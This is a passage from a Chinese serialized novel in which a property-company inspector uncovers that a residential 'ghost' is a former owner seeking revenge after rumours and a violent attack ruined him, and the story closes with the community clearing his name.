“你们不用跟着去了，有消息我们会通知你们物业的。在没有确定是不是以前，你们还是不能放松警惕。”李队嘱咐。 我和高文康点头，看着警车消失在夜色里。 后半夜我们在保安室窝了一宿，我没怎么睡着，一直想着文大爷讲的那件事，既然对门的男业主都搬走了，八楼的女业主为什么还要搬走呢？ 现在这件事到底跟他们有没有关系呢？ 胡思乱想的一会儿睡着、一会儿做梦，没多一会儿天就亮了，雨也停了。 “向荣，警察那边不会太快有消息的，今天我们做什么？”高文康问我。 “继续安排你的人建立业户档案吧，我们去跟业委会的大爷大娘聊聊天。”我回。 “跟他们聊天？”高文康有点不乐意。 “怎么？你怕他们怼你？”我知道他不想听人家数落。 “你也不愿意听人家数落啊！”高文康说。 “文康，你把该做的做好了，他们数落你、你心里也不怵，你也有话说，再说，我看那三个人不是不讲道理的人，咱们有问题先检讨自己。走吧，喝点粥去，回来再去，你如果不愿意，我就自己去。”我边说边往外走，高文康无奈的跟在后面。 吃饱以后整个身体都暖和了，一晚的疲惫也消散了不少。 我准备先去两个大娘家聊聊，高文康在后面跟着我，他是怕数落，但是他也想快点解决问题。 走到中庭绿化带的位置，正好看到白发大娘和红衣大娘在那锻炼身体，太好了，两个人都在。 “大娘，锻炼呢！”我热情的走过去打招呼。 “哟，是物业的那个大官吧，这么早就出来巡逻啦！”白发大娘挺热心。 “您老记性真好，正好有件事想跟你们打听打听。”我回。 红衣大娘也笑着问我，“你说吧，什么事？我们两个一直住在这里，大事小情的，我们基本都知道。” “你们知道八号楼顶楼那出闹剧吗？” 第一百七十三章 全都看着，没人管 “八号楼顶楼，你是说对门两个人乱搞男女关系的那件事吧？”红衣大娘问我。 我心里一沉，怎么外界传出来的版本这么邪乎了么？ “搞没搞我不知道，就是想了解一下那两家人为什么搬走的。”我说。 “你怎么想起问这件事了？这事在新家园闹得挺大的，那个时候还有一半的老业主都在，基本都知道，影响可不好了。你说那小媳妇儿跟谁搞不好，非得跟对门搞！”白发大娘说。 “搬走是因为八楼那男的被女人的老公给打了，据说脸上还留下了疤。女业主的老公因为重伤害被起诉，女业主的婆婆天天数落她，而且在这园区里，大家也都指指点点的，他们才搬走的。”红衣大娘说。 打了？还留了疤？想到被带走的男人，百分之八九十就是这个人没跑了。 高文康激动的直搓手。 “大娘，你给我讲讲打伤这段，怎么下那么狠的手呢？是真抓到现行了还是怎么了？”我又问。 “这事儿我没亲眼看到，她亲眼看到了，让她给你说。”红衣大娘指指白发大娘。 白发大娘跟我说了整个过程。 有一天女业主在小区临街等着接幼儿园要放学的小孩，车多人多的，因为距离小区近，她领着孩子往回走的时候，没有仔细看两边来往的私家车。 等发现有辆车直接开过来的时候，已经无法躲避了，这时男业主突然出现在身后推了她一把，还顺势翻了个身抱住了差点趔趄摔倒的孩子。 女业主和孩子只是受了点惊吓，男业主的腿被车撞到，又因为顺势翻身的惯性，磕到路基上，裤腿破了，划伤了一道深深的伤口，汩汩的冒血。 因为是放园时间，很多新家园的业主都看到了，纷纷说着出车祸了，都凑过来看。 女业主一看是男业主帮了她和小孩，她们没事，男业主的腿却鲜血淋淋的，很感激，赶忙问男业主腿怎么样？能不能动？要打120去医院。 男业主赶紧拒绝，说自己家有药箱，回去擦点药，慢慢就痊愈了，腿没事。 正在大家都以为没事了的时候，女业主的老公冲了进来，“好啊！你们两个，又勾搭上了是吧？” 这时候人群都震惊了，竟然还有惊天大瓜。 就听女业主老公又说：“我今天看你出门就鬼鬼祟祟的，怎么的？还要带着我的孩子去约会？” “你说什么呢！根本就没有的事，这么多人，你瞎说什么啊！”女业主喊。 “我瞎说？我都看见了，我怎么瞎说了？”男业主不依不饶，嗓门极大。 腿上有伤的男业主也赶紧解释：“你别误会，我是路过，恰巧看到有辆车速度很快的冲过来，情急之下我就推了她一把。” 女业主老公听完不但没有跟男业主说谢谢，反倒气急败坏的说：“平时一个楼层住着，我看得紧，现在孩子能上幼儿园了，开始在外面搞上了是吧？” “你瞎说什么啊！有话回家说，别在外面丢人了！”女业主生气了，抱着呜呜哭的孩子往回走。 结果却被她老公一把给拽住，差点没摔倒，而且“啪”的一声甩了个响亮的耳光。 这一耳光把在场的人都打蒙了，还都没反应过来，受伤的男业主喊起来：“我说你是不是个男人啊！女人你也打？” 女业主老公就像疯了一样开始对女业主拳打脚踢，看那个样子，这些都是家常便饭。 周围的人就那么看着，没有一个人出来劝劝、或者是拉架。 男业主实在看不过去了，上去扯过女业主老公，两个人扭打起来。 女业主受了伤，孩子哇哇的哭，场面乱成一团，有人报了警。 警察还没赶到的时候，女业主老公明显不是对手，拿出随身携带的刀子向迎面而来的男业主扎过去...... 我和高文康听完以后无不唏嘘，“大娘，您二位这么正直，当时咋不劝劝呢？都是女同志，看着被家暴，你们怎么没有同情呢？”高文康冲口而出。 令我意外的是，这两位嘴茬子不饶人的大娘竟然谁也没反驳高文康，都选择了沉默。 “是啊，我也很多次都后怕，很自责，你说当时那刀子要是再深一点，就出人命了！”白发大娘叹了口气。 “我们不敢呐，你们是没看见那女的老公，跟老虎下山似的，根本听不进去任何人说话，年轻人都不敢劝，我们老婆子说话哪有什么作用。”红衣大娘说。 “后来，警察来了就抓女业主老公走了是 吧？那女业主没有去给男业主治病吗？”我问。 “应该是给出钱了，但是那女的被当众家暴以后，也是经常的听园区里的人指点，说她乱搞，精神就不太正常了，老是一副很呆滞的样子。”红衣大娘又说。 “她也是被那天那男的满脸血给吓到了，谁能不害怕呀！再加上她婆婆那个厉害的个性，她也没啥好日子过，不疯才怪。”白发大娘补充。 我勾勒出了整个故事的大概，原来还有这样的“内情”。 这么说，如果疤痕脸就是八楼男业主，那他做的这些事情就是为了报复这个园区里的人。 “八楼的男业主有白化病，但是听说他挺有本事呢！”白发大娘说。 我很意外，“什么本事？” “据说他练过什么功，那天我可看见了，那个女业主的老公根本不是他对手，他的手腕子特别有力，动作也很快。” 听完白发大娘的话，我更加确定了鬼影就是这个八楼男业主。 “大娘，如果现在新家园，或者外边别处，你们再看见有被家暴的不公事情出现，你们还是不敢劝吗？”我问。 两个大娘你看看我、我看看你，都不说话了。 看来，性格使然，想要改变并不容易。 这时候红衣大娘说：“物业大领导，我们啊，明白你的想法，我们自己对这件事都挺自责的。不过，你说我们势单力孤的，这手现在提点菜都累的不行，我们就是去劝了，能起啥作用？可能还得给儿女添麻烦。” “我们一定会报警的，不会完全置之不理，当个看客。我老婆子都这么大岁数了，够本了！”白发大娘更义气一些。 “大娘，别曲解我的意思，我只是那么一问，你们啊，可不要逞英雄气概，看到了赶紧报警是对的，咱们自身的安全也是第一位的。”我解释。 “这个小伙说话，我爱听！”白发大娘笑眯眯的看着我，红衣大娘也瞅着我笑。 “行，大娘，我们没什么事儿了，你们锻炼吧，我们再转转。”我和高文康辞别两个大娘，回了物业办公室。 第一百七十四章 还得查 “向荣，你说女业主跟那男的到底有没有乱搞啊？”高文康问我。 我瞅瞅高文康，没想到这个五大三粗的汉子还挺八卦。 “你关心这个干嘛？”我问。 “要是没有乱搞，还被整的无家可归，破了相，那也太冤了！”高文康感叹。 “确实，是够冤的，要不然能来这里恐吓加搞破坏么，这股恶气是没出去，估计每次照镜子都会过一遍仇恨。” 高文康听着我的评论，默默的点头，原来如此。 我的电话响起来，打断了我们的谈话，我一看电显，是林皓。 “林哥，怎么了？” “向荣，没什么事，问问你去西北怎么样了？顺利不顺利？”林皓的声音充满喜悦。 “顺利谈不上，因为一个鬼影在这里蹲守好几天了，该去的地方一个没去呢！”我回。 “西区，应该是高文康的地盘吧？”林皓问。 我看看对面坐着的高文康，这林皓竟然都认识。 “嗯，对，是高文康。林哥，你那边怎么样了？许力介绍来的人行不行？我一直惦记着你那里还缺个工程经理，怕你应付不过来呢！”我说。 “正想和你说，这个史历太合适了！他的专业性比岳堂还要高一些，最合适的是人品没得说啊！诚恳、稳重，执行力还挺强。”林皓赞不绝口。 听到林皓这么说，我心里的石头落了地，看来许力用的人真的和许力风格一样。 “向荣，何江还让我给你带好呢！刚才在电梯里看见他，他们公司找了一家财税公司，给解决了贷款，现在也不和我说退租的事情了，每天晚上成宿的加班，估计很快可以翻身！”林皓说。 “这何江真的行！是干大事的材料。”这个消息让我很兴奋。 “林哥，mini车找到了吗？”我问。 “没有，警察还没查到车，还在等。不过，何江也不催我了，车在何江公司名下，我们把保安分拣式整改以后，何江也说我们知错就改，很好。” “林哥，你这是一切都走上正轨，危机解除了，兄弟为你高兴！”我激动的说。 “这事，哥得感谢你，等你回来的，哥哥请你吃饭，给你接风洗尘。”林皓说。 “你可得了，咋还和我见外了，没什么事不说了啊，我还得把这边的事情抓紧处理，下一站还有南区呢！”我说。 “没事了，哎！对了，昨天敬之来正阳了，我看他心事重重，问他有什么困难要帮忙的，他也没说，好像说是来找冯晶晶的，你有时间问问他吧。”林皓提醒我。 “好的，林哥。” 结束了跟林皓的通话，我在心里计算了一下，出来一个多星期了，一直没跟王敬之联系，难道是有什么事了？ 拨了王敬之的电话，没响几声就接通了，“师哥，这几天家里安好不？有冯晶晶的消息了吗？” “家里没什么事，叔叔的病情挺稳定，就是喝汤药口淡，他不太爱吃饭。晶晶还没消息，而且我昨天的推演结果不是很乐观，哎！”王敬之低沉的说。 王敬之很少这么忧虑，看来冯晶晶的事情他是真的走心了。 “师哥，你再等我两天，回去我什么都不干，就帮你找冯晶晶。许德生那个孙子，到时候该抓住他了，也让刘才东哥哥安息。”我许诺。 “向荣，如果过几天你联系不上我，也不要着急，我一定会找时间联系你。”王敬之没头没脑的来了一句。 “什么意思？师哥，你可不要鲁莽。我不在，你可以随时跟林翔保持联系啊，那也是我们兄弟。绝对不能自己贸然行动，知道吗？我提醒过你，许德生就是个恶棍！”我有点急。 “你记住我的话就行了，别的我有分寸。”王敬之不想多说。 结束了跟王敬之的通话，我的心里无法安静下来，刘才东的事情从我知道，再到发现尸体，查到被害的曲折，这也有小半年了，怎么就抓不到这许德生呢？他藏地底下了不成？ 就算是这鬼影，一点头绪没有，现在也水落石快出了呀！这许德生真是邪门了。 高文康看我情绪低沉，准备带我到处走走，“向荣，西区这边你还想去哪看看？” “主要是看你的安排啊，我的任务是把需要的数据收集上来，最好是每个楼盘都去看一眼，当然了，主要是看看团队，没什么异常，我就要回去了，南区还有12个盘子等着呢。”我有些疲惫的说。 “南区？刘国锋的地盘，你可悠着点，老刘为人可 跟我不一样，我是个粗线条，跟你投脾气。老刘心细，而且是特别细，敏感，生气了你都看不出来。”高文康提醒我。 “刘国锋我见过，参加集团会还跟他喝过酒。他年纪比我俩都大，去学习学习，看看人家怎么管的12个地方。他稳稳当当的一直干到现在，和林哥的工龄一样，肯定是有能力的。”我说。 “林哥可是个好人呐，回去有机会看到林哥，帮我带话给他，他如果来这边，定要找我，我带他好好吃吃转转。”高文康说。 我刚想夸他有心了，物业办公室的电话又响了。 “喂，物业办公室。哦，李队啊，对，是我，我是高文康。”高文康用眼神示意我，是派出所的电话。 “哦哦，这样啊，好吧，行，我们尽快调查。”高文康的眉头皱成个疙瘩，完了，一定是审讯的不顺利。 “向荣，疤脸啥都不认呐，李队说除了能问问他为什么住在这，没有其它有价值的证据，今晚上就要放人了。”高文康说。 “我还有一个突破口，咱们可以试一下。”我回。 “什么突破口？”高文康急切的问。 “去找一下八楼原来的女业主，了解一下细节，说不定就能攻克疤脸。同时你安排物业保安把这一个月出事前后的监控都看一遍，找线索，仔细找！”我回。 高文康对我的安排很信服，毕竟我来了以后没几天就按住了鬼影，还得知了背后的隐情，“行，我们去哪找八楼女业主呢？” “查档案，找她的联系方式。”所以说基本信息是很重要的，是管理一个物业的基底。 第一百七十五章 我儿子命苦啊！ 几经翻找，终于在前几任离职客服的交接文件里找到了八楼女业主曾经留下的手机号。 可是不知道是不是还在用，没有别的办法只能先试一下了。 电话能接通，但是响了很久也没人接，正在我和高文康想要放弃的时候，那边给回电话了，“您好，请问是哪位打电话？” 高文康一听，是女人的声音，有门儿啊！ “您好，我是新家园物业公司，请问您是八号楼顶楼的业主吗？” 对方停留了一会儿，然后犹豫的说：“那房子我不住了，已经在转让中，你们物业找我有什么事呀？” 太好了！手机号还是女业主的。 我用口型示意高文康一定要稳住对方，最好能来一下新家园，咱们当面说。 高文康反应倒是挺快，“业主，是这样的，您楼下的业主来找过好几次，说是卫生间的位置渗水，我们想约您来看看，然后好确定怎么维修。” “渗水？不应该啊，我们离开两三年了，也没听说有这事呀！”对方很怀疑。 “业主，时间越久越容易出问题，家里没人住，还是来看看吧。现在还无法确定是您家里的位置漏的，还是哪里漏的，还请您能配合一下。”高文康的脑子确实是转得快。 我听着电话那头停顿了一下，然后说：“好吧，我今天下班后过去。” “好的，那我就在这等您了。”高文康欣喜的神色溢于言表，只要人能来，就好办！ 见到女业主的时候，已经是晚上七点多了，她推开物业办公室的门就走了进来。 一身休闲装，短发很利落，中等个头，给人的第一感觉就是瘦，特别瘦，模样不能说是很漂亮，只能说是看着算舒服，方脸，眼睛很大，皮肤有点粗糙。 “我特意回去看了，我们家没有漏点。水阀一直是关着的，没人用水，不可能是我家渗水的，你们再找找其它原因吧。” 高文康一听，这女业主说话倒是算话，说下班左右来就下班左右来的。 “感谢您啊业主，还特意跑了一趟！我们还有件事想跟您打听打听。”我看向女业主问。 女业主有些警觉的看了看我，然后说：“我没见过你，你是谁？” “我是物业集团公司的人，来这边处理点事情，正好赶上新家园出现点情况，就留下来帮忙了，我叫吕向荣。”我先做了自我介绍，让女业主安心。 “我是物业负责人，您应该在告示栏见过我的照片吧？我是高文康。”高文康也赶紧介绍自己。 “我见过你的照片，知道你，你们想问什么？”女业主的态度一直是机械性的、充满防备的。 看着这个女人，很难与被家暴这样的词语联系到一起，因为她看上去很利落、干练。 “业主，我就开门见山了，新家园现在出现了一个很危险的人，专门在夜里敲独居女性的门，还会遮挡门镜、用钥匙捅锁眼，前几天还因为这事，杀害了一个业主家的金毛狗。经过我们的调查，之前在您对门住着的业主嫌疑很大。八号楼楼下的垃圾桶里发现了这个人伪装自己的胶皮头套。” 女业主愣住了，很显然她没想到会发生这样的事，但只是一瞬间，她又恢复了冷漠。 “这里住着的人活该！没什么好人，一个个看着道貌岸然的，实际上一肚子坏水。我跟对门的先生早就没什么往来了，你们这个问题我帮不到。”女业主说完就要离开。 她对这里的人也带着怨气和恨意，难道就是因为之前在外面被家暴、没人管吗？ “业主，您先等一下，您听我说。”我走过去拦住往外走的女业主。 “那你快点说吧，孩子还在家里等我回去做饭。”依旧是那副冷冰冰的样子。 “业主，您也是女人，前两天那个女业主就在自己家屋里，被人袭击了，那只狗为了救她，被坏人开了腹，这个人如果不除掉，这里肯定安宁不了。我们不问你太过格的事情，您就聊您想说的就行，好吗？我想这种被坏人迫害，急需别人帮忙的心情，您一定能理解。” 女业主停住脚步，点点头，说：“你问。” “我们想了解，您对门的业主脸被弄伤后发生了什么事？为什么你们先后搬走了？” 女业主神态没什么变化，但是眼神是闪烁的，我能看出她在极力的让自己镇定。 我和高文康能等了五六分钟，她开口了，“你们怀疑是我对门的先生在报复这里，对吧？我今天给你们讲后面的事情，就权当帮他，跟这里住着的人没关系。如果真的是那个先生干的，希望我说的话能让你们及时制止他，别发生无法挽回的事情。他是个很好的人，不该有今天这样的下场。” 我和高文康互相看了看，想不到她的出发点竟然是这个。 女业主讲的很详细，我和高文康听完以后，无措了，内情竟然是这样！ 男业主的脸受伤以后，一直在医院治疗，女业主的丈夫也被抓进了看守所，本以为这出闹剧，过去了就过去了，可哪曾想，就是有一些不用上班工作的好事者到处渲染。 女业主的婆婆没看到事发过程，自己儿子又很突然的被抓了进去，她心里一直很存疑，于是当听见园区里的流言，她当真了。 听说的当晚，她就打了女业主好几个耳光，一边打还一边哭，“我儿子的命真苦啊！竟然找了你这么一个荡妇，你竟然搞到家门前来了！” 女业主被打懵了，情绪还没反应过来，而且还担心吓到孩子，“妈，不是的，不是你听到的那样的！我和对门的什么关系都没有！我们是清白的！” “清白的？你去小广场听听，人家都看到了，你们俩一起去幼儿园接我外孙，有说有笑的，被我儿子抓了个现形，你们竟然还跟他大打出手，还给他送进了警局！啊，你把我老太婆也弄死吧，你这个潘金莲！”老太太哭上了，而且开始大吵大嚷。 女业主看到从卧室走出来的吓得哇哇大哭的孩子，赶紧哄老太太，“妈，妈，您相信我，真的不是她们说的那样的！您别哭了，孩子害怕了！” 老太太还是不收，声音更大了，丝毫不管吓坏了的小孙子。 正当女业主哄孩子的时候，老太太突然站起身，开门就去了对门。 这一顿操作给女业主搞愣住了，赶紧跟了出去。 第一百七十六章 好人未必都得到好下场 女业主婆婆直接就去敲对面的房门，与其说是敲，不如说是砸，房门砸的震天响，仿佛要把满腔的愤恨都发泄到砸门上。 一边砸还一边哭喊：“你给我出来，破坏人家家庭，你像没事儿人似的躲起来，出来！有本事你就出来，跟我这老太婆说清楚！” 女业主拼命的往回拽老太太，“妈，妈，求您了，您跟我回去吧，这位先生也受伤了，在养病，您跟我回家吧！” “受伤？活该！我不跟你回去，我要问问他，凭什么把我儿子送去坐牢！”老太太情绪依旧高涨。 正在两个人又拉又拽的时候，门开了，男业主站在门口，给两个人吓了一跳。 男业主的半张脸都被包扎上了，雪白的绷带缠绕在头上，只露出一半边脸和眼睛，眼睛里透射出愤恨的神情。 “你要跟我说清楚什么？”男业主的声音很冷。 “你以为我怕你吗？你破坏我儿子家庭，跟她勾三搭四，还反倒先告状，你凭什么把我儿子送去坐牢？”老太太气势上不输，但是语气上没有了刚才的跋扈。 “就凭这个！”男业主指指自己的脸，又说：“医生诊断我是伤残，眼睛的位置因为眼皮的遮挡和凹陷，才没有损伤眼球，但是脸上的疤痕会很深。” 老太太停了停，想想说：“那你破坏人家家庭，不应该跟你理论吗？你跟我儿子动手，他也吃了亏，为什么一定要送他去坐牢呢？” “老太太，怪不得您有个这样的儿子，你们都一样听风就是雨、一样不讲道理。” 男业主说完就要关门，老太太又开始呜呜渣渣了，挡着门不让关。 女业主这时候又要拉着老太太回家，老太太正愁气没处撒呢，回手就是一耳光，女业主捂住脸痛哭起来。 “老太太，你要表演苦肉计请回自己家演，你再这样骚扰我，我就报警了！”男业主很不愿意看到这一幕，直接就关了门。 女业主也不想继续挨打受辱，不再拽老太太，直接回了家里哄哇哇大哭的孩子。 再后来，老太太听警察说，自己儿子的量刑要看男业主是否坚持诉讼，如果对方认赔，不再追究的话，可能会免于坐牢，就又去对门骚扰了几次，男业主不堪其扰直接搬走了。 老太太不知道从哪打听到男业主的工作单位，又去工作单位找，还把事情缘由添油加酱的大肆渲染，搞得男业主公司的人都知道了男业主跟女邻居勾三搭四。 最后不但没有救回自己的儿子，儿媳妇也因为忍受不了她的脾气和园区人的指点，搬回了娘家。 “这位大娘可真够厉害的！”高文康说。 “业主，后来你就再也没见过对门男业主了是吗？”我问。 “没见过。我们俩因为这件事，名誉都毁了，哪怕是离远见到了，最好也是躲着吧，对我们的生活都好。而且我的孩子一天天长大，我不希望他在这里继续住下去，听见这园子里的人说三道四，影响孩子身心成长。”女业主说。 “如果你们没什么事了，我得回去了，家里还有事情，我得给孩子做饭。”女业主站起身往门口走去。 到了门边停了一下又转头跟我们说：“如果以后你们能看到对门的先生，请替我转达一句话。” 我和高文康点点头，示意她告诉我们要转达什么话。 “告诉他，我很感谢他对我的帮助，没人敢挺身而出的时候，是他一次次帮我。但是人言可畏，我的孩子又小，我不能只为自己考虑，必须得避嫌，如果有什么事让他难堪了，对不起！” 女业主说完就推门离开了，我和高文康留在办公室品味着这出闹剧，心里很不是滋味。 好人好像未必都得到好下场，就像这个男业主，虽然不知道现在为什么要做这么多坏事，但是他的名誉和形象至少都是毁了的。 “我们去派出所看看吧，和他聊聊。”我跟高文康说。 “走！”高文康开车带着我去了派出所。 见了李队后，跟他说明来意，李队说：“行，聊聊吧，看看能不能奏效。如果是他做的，就要及时制止，还能免于更严重的处罚。” 我和高文康一起去见了疤脸男，我们推门进去的时候，他看到是物业来人，不屑的一笑。 “我们询问了一下，您就是住在八号楼顶楼的桑先生是吧？”我问。 疤脸男看了看我，不说话。 既然不否定，就说明我的假设成立，我开始放心大胆的按照我的套路去说。 “我们在八号楼的垃圾桶里发现了你的头套，上面是可以检测dnA的。不过，我们来不是为了这个，我们来是受人之托来给你转达一些话。”我看着疤脸男说。 他果真抬头看我，用询问的眼神瞅着我。 “是你对门的女业主，她要跟你说对不起，说你是个好人，她很感谢你对她的帮助，感谢你能在没人挺身而出的时候，出来帮助她。还说让你不要怪她，因为人言可畏，她不得不在园区里跟你保持距离，避嫌。”我把女业主让我们转达的话告诉了疤脸。 疤脸听完这些 ，还是不说话，眼神很茫然，好像在想什么，慢慢的嘴唇开始蠕动。 “您是在跟我们说话吗？您大点声，我们听不清啊！”我说。 “对不起？对不起就完了？我承受了什么，她知道吗？”这句话我和高文康都听到了。 看来，我赌对了。 “桑先生，您遇到了什么不公的事情，您和我们说说，作为新家园的物业，我们可以、我们也能做到帮你正名。现在鬼影这个事情确实影响很坏，人心惶惶，不过除了那条金毛狗，倒是没有人员伤亡，您务必迷途知返呐！女业主说您是好人，您能见义勇为，我想现在这些事情未必是您的本色，您何必因为仇恨毁了自己的后半生呢！”我劝。 “正名？怎么正名？这么久了，才去正名？你们早干嘛了？还有那天，在园区小广场，那两个业委会的老太太，她们为什么不能说一句公道话，而是任由那些闲人肆意胡说！新家园的人活该！活该！” 第一百七十七章 善待自己的人生 “桑先生，您别激动，您有什么话都可以和我说，我们愿意尽全力帮助你！” 我迫切的想知道到底发生了什么，才会把一个正直善良的人给改变了。 疤脸男的情绪一点点的稳定下来，然后开始了他的讲述。 疤脸男就是桑先生，是一家机关单位的职员，工作很不错，他从小学习就好，人也上进，靠着自己的努力参加考公进机关任了职。 但就是这个白化病，经常折磨他，也因为这个病，他较内向孤僻，可是丝毫不影响他正直的性格。 当发现对门的女业主经常遭受家暴后，他是反感的，也想过这么热情的一个女人是怎么嫁到这样的家庭的？而且还能一直忍受到怀孕生孩子。 后来有风言风语传出来以后，他也开始觉察到了不适，尤其是每次回到园区，总能看到三三俩俩的推着小车的老太太、小媳妇，对他指指点点。 本来就内向的他，更怕见人了。 幼儿园门口那出闹剧发生以后，他被毁了容，工作受到了影响，他开始找房子换地方。 还没等他从情绪中缓过来，对门的大娘又去单位闹，彻底让他被单位开除了。 上级领导说他不注意个人生活边界感，这样的形象不适合从事公务员的工作。 他全部对自己的开解和情绪舒缓，都被工作丢了这件事给击垮，丢工作那天他失魂落魄的回到新家园，刚路过小广场，就听见有几个在那歇息的人在议论他。 “哎，看见没有，就那张脸，让人家丈夫给砍的。”女甲说。 “可不是咋的，当什么不好，非要当奸夫，兔子还不吃窝边草呢，这回好了，多丢人！”女乙也说。 桑先生用仇恨的眼神看看那几个嚼舌根的女的，这一抬眼还看到了业委会的两个大妈。 可是业委会的大妈也用厌恶的眼神看着他，就好像他是个犯人。 “我说同志，您是某单位的办事员吧？您这可不行啊，您这身份顶着这么大的绯闻，咋给我们老百姓办事嘛！”女丙直接就喊开了。 旁边的几个人也都跟着找到了调调，一起说。 桑先生实在忍不住了，喊了一句：“你们是不是没事儿干了，天天在这嚼舌根，小心最后嚼到自己身上！说我跟对门女业主乱搞，你们看到了吗？你们有什么证据？” 几个女的不说话，都在那想着怎么反驳，因为确实，她们没看见。 “女业主的婆婆自己说的，总不能有假吧？谁能往自己身上抹黑啊？那可是绿帽子，谁还能给自己戴绿帽子啊？再说了，那天在幼儿园门口，我们都看到了。” “你们在幼儿园门口看到了，为什么不救人？我如果不推一把，那女的和孩子都会被车撞。你们为什么看到了不去救？”桑先生彻底愤怒了。 谁也不说话了，都愣愣的，桑先生气愤的回了家。 回家后从头想到尾，越想越气愤，看着失业的自己，脸上那么明显的一道疤，仇恨的火点燃到了极点。 “您夜里出来吓唬这些女业主，挡门镜、捅锁眼，这些手段太low了，而且就踩着法律的边缘，很危险啊！值得吗？为了报复那群连工作都没有的人。”我问他。 桑先生应该是被警察带来之后，身处囹圄，认识到了事情再继续发展的可怕性，双手抱住头，不再说话。 “我们回去以后，会给你正名的，这个风气我帮你杀一杀，你也要答应我们，善待自己，为了任何人将自己置身于危险境地都不值得。”我继续说。 桑先生有点怀疑正名这件事的可操作性，“算了，我已经搬走了，没必要正什么名了，大家早就已经淡忘了。” “这件事不只是在帮你，也是为了恢复良好的居住生态。就在自己家门口，看到自己的邻居在犯错，却不敢制止，而是看热闹，等着事态的恶化，这是多么可怕的一种趋势！”我回。 桑先生用不一样的眼神看着我，问：“你，你叫什么？” “我叫吕向荣，听我句劝，悬崖勒马，千金不换。” 从派出所出来，高文康说：“向荣，你可真是让我刮目相看，怪不得你能拿我们集团的第一，老板能选你当特派员，你的胆识、谋略、嘴皮子，那都是我遥不可及的高度啊！” “哈哈，文康，你可别这么说话，我觉得肉麻到冷。”我笑了，不太适应他的夸奖。 “我是真心的，说的都是我的心里话，这几天从你遇到事情后找突破口开始，每一个点你找的都是精准的，我都怀疑你那脑袋是不是侦探脑袋。”高文康又说。 “哎，不过，鬼影这件事你要怎么跟业委会交代啊？还有那个正名，你要怎么正名？” 我看看高文康，故意卖了个关子，“明天找大爷大妈来开个会，我自有安排。” 高文康依旧是一副迷惑的表情。 第二天阳光明媚的，业委会的大爷和两个大娘都准时来了物业办公室。 “集团领导啊，还没到一星期，您就抓到鬼啦？”大爷第一个发话了。 自从上一次跟两个大娘 聊过天，她们对我的印象尤其好，见到我就笑眯眯的。 “大爷，这世界上没有鬼，新家园闹的不是鬼，是人，人祸！”我回。 “人祸？怎么回事？”业委会的三个人都好奇的问我。 “说真相之前，我给你们讲个故事吧。”我准备把正名的事情跟鬼影的事情一起解决。 三个人一起点头同意，于是我从桑先生上学时的优秀讲起，一直讲到每一次他的见义勇为，讲到女业主的婆婆和丈夫对她的非打即骂，却从没有人去劝阻和伸出援手。 包括幼儿园门口那次虚惊一场的车祸，桑先生因此破相、丢了工作。 大爷大娘都不言语了，这事他们三个都清楚，有人当时还在现场。 “集团领导，这件事，我老婆子确实做的不对，在小广场那天，她们几个议论他的时候，我在，这事我也和你说过了，其实当时我不是不想劝，我是看到他那脸，一时不知道说什么了，挺可怜的一个孩子。”白发大娘表态。 “对，我也是很愧疚，对不住人家那娃啊！”红衣大娘也说话了。 这时候大爷说：“集团领导，您说的这件事跟捉鬼有什么关系呢？难道说，小桑就是搞破坏那个人？” 两位大娘一听，也都着急了，“他要是这样做可就不对啦，我们都知道错了，他咋能去犯罪呢！跟那些被吓唬的人也没什么关系呀，人家也没去诋毁他。” “就是、就是。” “大爷大娘你们别急，确实是桑先生做的，而且他现在已经在派出所接受处罚了。你们不要担心。”我赶紧解释。 “那你现在说这些，到底要干什么？”大爷问。 第一百七十八章 老板就是从南区起家的 “大爷大娘，新家园这件事情的前因后果我已经解释清楚了，你们先说说你们的看法。”我准备让他们先表态。 两个大娘互相看了看，然后其中那个满头白发的说：“这件事儿吧，桑先生确实有点冤，那么好的工作都没了！如果是我儿子，我也不能罢休，还破了相。” 穿红衣服的大娘也说：“可不是咋的，这八楼的老太太也是太厉害了，谣言都是因她而起的，自己的孩子自己也没教育好。” “你们两个说的我不同意。他是成年人了，成年人要对自己做的事情负责任。尤其是现在做的这些事，影响太坏，还违法。”大爷始终保持理智。 两个大娘不说话了，她们没有什么主见。 “大爷说的是呀，这也是我今天找你们来商议的主要原因。现在桑先生已经认了自己做的事情，等着警察那边的处罚，后续再也不会出现鬼影的事了。可是，新家园是不是也欠人家一个说法？”我问。 大爷被我问住了，顿了顿说：“我们几个也没去诋毁他，被他骚扰的几个人也没诋毁他，跟我们要什么说法？” 两个大娘一听要给说法，也频频点头，都认为轮不到跟他们要说法。 “大爷大娘，你们别忘了，你们的身份是业委会，并不是说要和你们要说法。而是这件事本着息事宁人，冤家宜解不宜结的根本，我们应该合作出一封公开信。”我建议。 “公开信？什么公开信？”三个人一起问我，高文康也用眼神询问我。 “首先公布一下鬼影这件事的因由，以及目前嫌疑人已经被抓住，让业主放下恐慌。其次把八楼这个谣言做澄清，说清楚根本没这回事，给当事人平反，并告诫全体业主要与人为善，不要人云亦云，在外看到不平事，至少要知道报警。” 几个人都开始思考我的话，想了一会儿以后就都默默点头，他们开始赞同我。 “这封信由我们物业来拟吧，拟好以后大爷大娘看一看，没问题了我们就发到业主群里，小区宣传栏也挂一份。以后希望大家共同维护居住环境，杜绝这样的现象再次发生。”几个人听我说完，都表示同意。 散会后，我编撰了这封公开信。 首先自然是对鬼影事件做了澄清，纯属人为，不要封建迷信，然后告知此人已经被警察抓住，会接受后续的惩罚。 最后就是对几年前的这个事件做了澄清，信里没有写这两件事有什么必然联系，仅仅是作为时下热点给园区的业主敲个警钟，不要以讹传讹，影响其他人的正常生活，以免给自己带来不必要的风险。 “向荣，你这封信写的好！既说清楚了鬼影事件，又告诫了居民要谨言慎行，还给桑先生平了反，不错！”高文康不住的表扬我。 “文康，我准备用明天一天的时间，把你剩下的6个楼盘走一遍，后天我就要去南区了。出来的时间太久了，家里还有很多事情要处理。”我心里很担心王敬之。 “好，我明天陪你转一圈，几个地方离得都不远，不需要一天就都能转完。”高文康说。 “最后去老杭所在的地盘吧，先去其他的。”我说。 我把写好的“致居民的一封信”给李队发了一份，让他拿给桑先生看，这是我答应他的，我得说到做到。 然后就跟高文康转了转剩下的6个小区。 基本没什么大问题，但也都是维持经营，没有开发新业务，仅仅靠物业服务费存活。 高文康对自主经营这一点的理解并不深，他认为老老实实的做好集团交给的任务就够了，没必要自己付出那么多心力再去搞什么经营。 我看看他，没说话，这种事是强求不得的，万一这是他不擅长的，我这就是强人所难了。 最后一站，安排在了高文康坐镇的小区，老杭也在这里办公。 “吕总啊，您好、您好！”我一进办公室，老杭就热情的过来跟我握手。 我也热情的回应他，看着面前这个年纪明显偏大的男人，那眼神里投射的都是心计。 